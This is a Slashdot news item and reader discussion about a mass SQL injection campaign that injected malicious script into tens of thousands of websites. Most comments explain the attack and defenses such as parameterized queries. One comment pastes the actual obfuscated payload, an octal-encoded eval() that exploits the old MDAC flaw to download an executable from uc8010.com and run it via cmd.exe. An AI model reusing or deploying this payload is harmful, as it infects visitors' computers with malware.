Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Mass Hack Infects Tens of Thousands of Sites

Posted by kdawson on Tuesday January 08, @08:09AM
from the stay-safe-out-there dept.
An anonymous reader writes "Tens of thousands of Web sites have been compromised by an automated SQL injection attack, and although some have been cleaned, others continue to serve visitors a malicious script that tries to hijack their PCs using multiple exploits, security experts said this weekend. Hacked sites included both .edu and .gov domains, the SANS Institute's Internet Storm Center reported in a warning posted last Friday. The ISC also reported that several pages of security vendor CA's Web site had been infected. Roger Thompson, the chief research officer at Grisoft, pointed out that the hacked sites could be found via a simple Google search for the domain that hosts the malicious JavaScript. On Saturday, said Thompson, the number of sites that had fallen victim to the attack numbered more than 70,000. 'This was a pretty good mass hack,' said Thompson, in a post to his blog." By Sunday a second round of the same attack had infected over 90,000 servers.

Related Stories

Display Options Threshold:
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • Okay Hands Up... (Score:2, Funny)

    by AndGodSed (968378) on Tuesday January 08, @08:21AM (#21952760) Homepage
    ...those of you who thought "Awesome!"

    I am no fan of malicious hacking, but my inner geek always stirs when I read something like this, much like watching someone in the real world accomplishing an amazing but insane feat, like those guys with the squirrel suits base-jumping, or something *cough*

    Question, where any *nix or L*X machines compromised? Might be a dumb question, so bash me all you want if it was...
    • Re:Okay Hands Up... by renegadesx (Score:1) Tuesday January 08, @08:24AM
    • Re:Okay Hands Up... (Score:5, Insightful)

      by ricebowl (999467) on Tuesday January 08, @08:25AM (#21952806)

      I don't know about "awesome," my first thoughts were along the lines of "oh...for fuck's sake..." and "how do I check?"

      While I share your appreciation of feats, I'd prefer the feat achieved to be a positive application of the knowledge rather than a mass-hack.

      But hey; that's just me being a grumpy old folk I guess.

    • Re:Okay Hands Up... (Score:4, Insightful)

      by slashbob22 (918040) on Tuesday January 08, @08:26AM (#21952812)

      Question, where any *nix or L*X machines compromised? Might be a dumb question, so bash me all you want if it was...
      Considering it is a SQL injection attack I would assume that any system (of whatever OS) which is running a SQL database and is not scrubbing their input is vulnerable.
    • Re:Okay Hands Up... by fmobus (Score:2) Tuesday January 08, @08:28AM
      • Re:Okay Hands Up... by AndGodSed (Score:2) Tuesday January 08, @08:34AM
      • Re:Okay Hands Up... (Score:5, Informative)

        by pwilli (1102893) on Tuesday January 08, @08:37AM (#21952932)
        It was even simpler than that (according to TFA):

        1. SQL-Query for all tables in the database
        2. Search for text-columns in table
        3. add script-tag to every entry in those columns
        4. hope at least some of those entries get included into the webpage without filtering (or escaping) the injected HTML

        No need for FS access or root rights (as another ./er suggested), but also not really spectacular creative.
      • Re:Okay Hands Up... by Bert64 (Score:3) Tuesday January 08, @08:48AM
      • Re:Okay Hands Up... by Anonymous Coward (Score:1) Tuesday January 08, @08:58AM
      • Re:Okay Hands Up... (Score:5, Informative)

        by Anonymous Coward on Tuesday January 08, @09:14AM (#21953320)
        Helps to understand the database, doesn't it? The "sysobject calls" are just reads to the underlying tables that store the database schema. The injection attack uses sysobjects to determine what tables exist. They did use sysobjects which is specific to MS SQL Server and Sybase, but they could have just as easily used INFORMATION_SCHEMA which are a series of ANSI compliant views that contain the same information and work on virtually all databases.

        This attack has nothing to do with system access of the database server. Other than the fact that the specific exploit looks to sysobjects, there is nothing specific about this attack to MS SQL Server at all. This same kind of attack would work just as well on any other web server with an application using any other database. The problem isn't that the web server or the database has a vulnerability, rather that the specific web application itself does. SQL injection attacks are stupidly common because the people who write web applications, on any platform, simply ignore written secure programming conventions.

        For those who don't know what SQL injection is, it is caused when the web application does something stupid like concatenate unvalidated user input directly into a SQL string that is then sent to the database. This enables the attacker to pass user input which contains portions of SQL that will be also be sent to the database and executed under the security context of the web application. More often than not the developer who made this stupid mistake also made the stupid mistake of connecting to the database using significantly higher privileges than necessary, possibly even root/admin level privileges. Thus, the attacker can do virtually anything they want, from inserting new data to dropping objects and breaking the web application entirely, if they felt like it.

        Basic rules when developing a database-driven web site:

        1. Never concat input into SQL. In fact, avoid dynamic SQL entirely. Use stored procedures with parameter binding so that user input can never be used to inject SQL statements to the database.
        2. Always validate/encode user input. Even if you stave off SQL injection it's still possible for an attacker to attempt to hide HTML or JavaScript in their input. If the web application stores and displays the information as it has been entered it would be possible for the attacker to embed malicious script into the content sent to the browser. Most frameworks have the ability to find this material in user input, or you could encode it so that it's not executed by the browser and shown as plain text.
        3. Always use a database connection with the lowest necessary priveleges. This reduces the possible attack surface by preventing a successful attack from having the leverage to compromise the data or the database server itself. Couple this with item 1 and you have a security context in which the web application can only execute a handful of stored procedures and cannot directly read/write to any of the user tables.
      • 1 reply beneath your current threshold.
    • Re:Okay Hands Up... by Alioth (Score:2) Tuesday January 08, @10:48AM
  • Phew! Nothing to see here! (Score:3, Funny)

    by thechanklybore (1091971) * on Tuesday January 08, @08:21AM (#21952766) Homepage
    Woah, I was almost worried for a second before I read it was Microsoft specific!

    My darling Apache and PostgreSQL may you never let evildoers overflow your fair buffers.

    *wipes brow*

  • by Grampaw Willie (631616) on Tuesday January 08, @08:24AM (#21952784) Homepage Journal
    this kind of crap ain't gonna stop until we have a fundamental change in our approach to security: and that is we use a WHITELIST to authorize execution of the programs we trust and exclude EVERYTHING else.

    trying to identify and exclude malware has fallen short of meeting our needs

    and that demonstration continues week after week after week after week as the hacking gets worse and worse

    if we are going to use the internet for business purposes this is UNACCEPTABLE. Change has to happen.

    NO SIGNATURE? NO EXECUTE.
  • Protect yourself with AdBlock (Score:5, Informative)

    by Yaztromo (655250) <yaztromo.jsyncmanager@org> on Tuesday January 08, @08:24AM (#21952790) Homepage Journal

    Add this simple rule:

    http://*.uc8010.com/*

    Yaz.

  • by Erik Hensema (12898) on Tuesday January 08, @08:28AM (#21952842) Homepage
    Does anybody know the aim of the hack? Starting last saturday we saw a huge surge in incoming spam, with a peak yesterday (monday) at about 25 to 30% more spam than ever before. Today we see a lot less spam, almost at normal levels (normal being around 80-90% of all mail is spam :-S )
  • Shame about this:

    The fourth interesting point is that the only exploit we were able to coax out of them was the venerable MS06-014 (MDAC) patched in September 2006. What this means is that they went to the trouble of preparing a good website exploit, and a good mass-hack, but then used a mouldy old client exploit. It's almost a dichotomy.

    The only thing I can figure is that either

    • a) this was only a test
    • b) they are hoping to catch unpatched systems.
    • You forgot c) by WebCowboy (Score:2) Tuesday January 08, @11:32AM
  • Must...not...make...joke... (Score:1, Redundant)

    by Notquitecajun (1073646) on Tuesday January 08, @08:30AM (#21952866)
    Willnotmakewindowsupdatejoke....willnotmakewindowsupdatejoke...
  • NoScript (Score:3, Interesting)

    by j.sanchez1 (1030764) on Tuesday January 08, @08:31AM (#21952868)
    Wouldn't NoScript [mozilla.org] protect the Firefox users out there?
    • is Firefox safe .. by rs232 (Score:2) Tuesday January 08, @11:16AM
    • Re:NoScript by geminidomino (Score:1) Tuesday January 08, @09:01AM
    • Re:NoScript by Gori (Score:1) Tuesday January 08, @09:07AM
      • Re:NoScript by GNUALMAFUERTE (Score:1) Tuesday January 08, @09:31AM
        • 1 reply beneath your current threshold.
    • Re:NoScript by IsThisNickTaken (Score:1) Tuesday January 08, @09:15AM
    • 2 replies beneath your current threshold.
  • Good acts of violence (Score:4, Insightful)

    by MosesJones (55544) on Tuesday January 08, @08:31AM (#21952876) Homepage
    Reading the referenced article it seems to almost applaud the success of the attack. This isn't a "good" attack its a very bad attack in that it has been successful and could potentially inflict damage on thousands or even millions of users. Its like claiming that something was a very "good" fraud because it robbed thousands of old folks of their life savings.

    Its a bad attack, its bad that its been successful and the people who did it are scum. These aren't some rebels fighting against the system they are criminal scum who are aiming to inflict damage on large numbers of people. Remember all those times when you have to clean up your parents/in-law/friends computers because they get compromised by this crap? Well the scum behind this have just given you a whole lot more time doing crappy boring work.
  • by spasticfantastic (1118431) on Tuesday January 08, @08:47AM (#21953034)
    Strange that CA and McAfee both had signatures detecting legit java script as infected last week. Just how closely do the virus writers and the "security" firms work together?
    • 1 reply beneath your current threshold.
  • This is NOT a mass attack (Score:2, Informative)

    by blast3r (911514) on Tuesday January 08, @09:14AM (#21953314)
    If you search for "uc8010.com" in Google then click on the omit link at the bottom it shows about 94,000 "PAGES". Not Servers! One server had most of the pages infected. BTW, this is NOT a compromised 'SERVER'. The SQL database got injected with content but the actual server isn't compromised. This isn't news.
  • I noticed some similarity... (Score:2, Interesting)

    by CRX588 (1002741) on Tuesday January 08, @09:25AM (#21953458)
    Thats funny, I recently complained to a US based, MidPhase about some Chinese scam site, uer168(dot)com. I noticed some similarity in the domain with the uc8010(dot)com domain from the article. The whois data is also much alike, at least the registrar is Xin Net Technology Corp. for both.

    So far Midphase has refused to take the scam site off line, even though it's seems these Chinese crackers are affiliated.
  • by metsu (601943) on Tuesday January 08, @09:33AM (#21953578)
    sounds like google's engine could mark these sites [INFECTED] on their index. would be a great added safeguard for unsuspecting victims...
  • by slashbart (316113) on Tuesday January 08, @10:34AM (#21954450) Homepage
    document.writeln("");
    document.writeln("");
    document.writeln("");

    eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\141\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\54\143\150\151\156\141\51\73\15\12\154\157\166\145\133\42\117\160\145\156\42\135\50\51\73\15\12\154\157\166\145\133\42\127\162\151\164\145\42\135\50\160\163\133\42\162\145\163\160\157\156\163\145\102\157\144\171\42\135\51\73\15\12\154\157\166\145\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\143\150\151\156\141\54\62\51\73\15\12\154\157\166\145\133\42\103\154\157\163\145\42\135\50\51\73\15\12\166\141\162\40\123\155\101\143\161\111\167\107\126\70\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\15\12\145\170\160\61\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\123\155\101\143\161\111\167\107\126\70\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\143\150\151\156\141\54\42\42\54\42\157\160\145\156\42\54\60\51\175\143\141\164\143\150\50\151\51\173\151\75\61\175\15\12\175\15\12\104\157\167\156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61\60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\56\145\170\145\42\51\73")

    Any idea?
  • targets only microsoft servers (Score:1, Flamebait)

    by mabu (178417) on Tuesday January 08, @01:12PM (#21956980)
    FTA: It's possible that only Microsoft SQL Server databases were hacked with this particular version of the robot since the script relies on the sysobjects table that this database contains."

    I think that's a relevant aspect to report. This is yet another MS-based vulnerability. It also makes sense since IIS servers are more likely to be serving the much less secure IE client.
  • by mabu (178417) on Tuesday January 08, @01:38PM (#21957386)
    Google search to show compromised servers:
        http://www.google.com/search?q=src%3Dhttp%3A%2F%2Fc.uc8010 [google.com]

    There may be more - I used a specific reference to c.uc8010. Right now, Google shows 24,000 infected pages.

    It looks like all the servers are IIS. Running .ASP applications written by boneheaded programmers who didn't sanitize their input.

    This is the problem with programming. You can't "idiot proof" a web site if the biggest idiot is the guy you've hired to write the application.
  • by MogiMan (1215506) on Tuesday January 08, @01:49PM (#21957564)
    Since the true vulnerabiluity is in the application passing the injection, does anyone know what common application(s) the vulnerable sites used?
  • by Bellum Aeternus (891584) on Tuesday January 08, @03:19PM (#21959292)

    Serisouly, this is stupid. M$ has gone to great lengths to make it stupid easy to bind variables easy to use. Any developer working with System.Data should know better. Hell, any developer (period) should know better. PHP, Java, and pretty much every language that allows working with databases has a way to safely bind variables. Since this hack was targetd at M$ servers I'll give an example in C#...

    To put is simply: if you're doing something like:

    string SQLClean( string sOriginal ) {

    if ( sOriginal == null ) {

    sOriginal = String.Empty;
    }

    sOriginal = Regex.Replace(sOriginal, @"\\", @"\\", RegexOptions.Compiled);
    sOriginal = Regex.Replace(sOriginal, @"\'", @"\'", RegexOptions.Compiled);
    sOriginal = Regex.Replace(sOriginal, @"\""", @"\""", RegexOptions.Compiled);
    sOriginal = Regex.Replace(sOriginal, @"\&", @"\&", RegexOptions.Compiled);

    return sOriginal;
    }
    ... then you're doing it WRONG!

    The code to secure the SQL you're sending the server to execute is so easy it huts. Now, follow me here...

    using(SqlConnection connection = new SqlConnection(@"connection_string_here")){

    using(SqlCommand command = connection.CreateCommand()){

    command.Type = CommandType.Text;

    command.Parameters.AddWithValue("@param1", someValue1);
    command.Parameters.AddWithValue("@param2", someValue2);
    connection.Open();

    using(SqlDataReader reader = command.ExecuteReader(CommandBehavior.CloseConnection)){ /* Do something with the reader here */ }

    connection.Close();
    }
    }

    I've seen too many "educated" developers attempt to do their own sql cleaning. Just assume you can't do it, because if you get it wrong your hosed - use the available libraries!

  • Re:SQL injection (Score:1)

    by sjaguar (763407) on Tuesday January 08, @08:41AM (#21952974) Homepage

    you would never use a car without knowing how to drive

    I don't know. Have you seen some of the drivers on the road?

    But yes, I agree. You should not operate a vehicle without knowing how to use it. And, just because you own a sports car, does not make you a professional drive.

    I would like to see computer users with more knowledge and more security awareness. However, it is easy to throw some HTML/ASP/whatever on to a website. How can we let novice users create "secure" sites without banning them the web?

  • Re:SQL injection (Score:5, Funny)

    by Fizzl (209397) <[fizzl] [at] [fizzl.net]> on Tuesday January 08, @09:06AM (#21953216) Homepage Journal

    sql injection to gain root

    I will gnaw my leg of if this dribble gets modded up.
    • Re:SQL injection (Score:4, Insightful)

      by pedestrian crossing (802349) on Tuesday January 08, @09:41AM (#21953666) Homepage Journal

      sql injection to gain root
      I will gnaw my leg of if this dribble gets modded up.

      So far, so good, it's still at 1.

      I am astounded at the (much more than usual) level of misunderstanding of how the attack works. I've seen one correct comment, and much blathering idiocy!

      Running LAMP might protect you from this particular attack only because it is looking for table/column information the MS-SQL way. If you aren't taking effective steps to prevent SQL injection (which has nothing to do with "gaining root"), only luck is keeping it from happening to your LAMP system.

    • Re:SQL injection by eakerin (Score:2) Tuesday January 08, @10:45AM
    • Re:SQL injection by SoupGuru (Score:1) Tuesday January 08, @11:22AM
    • 1 reply beneath your current threshold.
  • Re:Not surprised (Score:5, Informative)

    by Anonymous Coward on Tuesday January 08, @09:09AM (#21953252)
    SQL injection attacks are universal across database platforms. No matter what front-end and back-end you use for a database store, if you're building SQL command strings in memory with unscrubbed external inputs, you're liable for an attack. This attack relied on SQL Server's sysobjects table, but that wasn't the vulnerability, that was just the target.
  • Re:SQL injection (Score:2)

    by mhall119 (1035984) on Tuesday January 08, @10:03AM (#21953996) Homepage Journal

    I guess for the next generation of pc users, we need to educate them. I always said owning a computer is like ownign a car, you would never use a car without knowing how to drive, although you did buy the car.
    Even more important, I think, is to educate the next generation of programmers. Just because you know how to make a car, doesn't mean you know how to make a safe car. Even if you are an expert driver, you really have no way of knowing if taking a specific car over 75 mph will cause a critical joint in the engine to fail. Saying that drivers should never drive any car above 75 mph to avoid that possibility isn't an acceptable solution.
  • by revlayle (964221) on Tuesday January 08, @10:36AM (#21954484)
    SQL Injection!!!! *ANY* SQL-based database is prone to it, if the front-end code that access the database is poorly written.

    I don't know HOW many PHP-based websites were vunerable to SQL Injection with a backend of MySQL or even Oracle!
  • by Tablizer (95088) on Tuesday January 08, @11:18AM (#21955108) Homepage Journal
    This is why I think wearing two hats or even three hats (insanity!) at a job is stupid because a designer or developer is not going to be a good server administrator and will fall prey to these kinds of attacks. If not on installation then because they won't have time to follow the news of new threats.

    Companies have been looking for all-in-one IT employees more of late. Offshoring is perhaps part of the reason, and shaving a buck is the other.

  • This exploit should turn the little M$ tick down into a real trend [netcraft.com]. This is what happens when you try to use a badly designed consumer grade OS for web service. Let's hope companies take the hint and run back to Apache before something really bad happens.

    People trying to pass the buck onto tens of thousands of individual programmers at tens of thousands of different institutions should ask yourselves why this has not happened with LAMP. If it was a market share thing, LAMP would have fallen long ago. It's not market share or users, it's a monoculture problem.

  • by Kalriath (849904) on Tuesday January 08, @09:00PM (#21963990)

    It's a vulnerability in MS-SQL you asshats
    It's not a vulnerability in MSSQL you moron. It's a vulnerability in stupidly designed applications (maybe not even a specific one, the worm could easily have just posted its attempt at every form it found) which let apostrophes through in their input. MySQL is immune because it doesn't have the sysobjects table. Oracle is immune for the same reason. They'd all be screwed if the worm used the ANSI compliant schema view.
  • by Allador (537449) on Tuesday January 08, @11:23PM (#21964998)
    there was no unpatched vulnerability used to own the webserver.

    Standard plain-vanilla, no-unpatched-vuln-needed was used to run commands on the db, which was used to inject script to CLOB fields that were output to dynamic web pages.

    IE browsers that then browsed those websites hit that script, which exploited the MDAC vuln on desktop machines, to steal stuff on desktops.

  • 12 replies beneath your current threshold.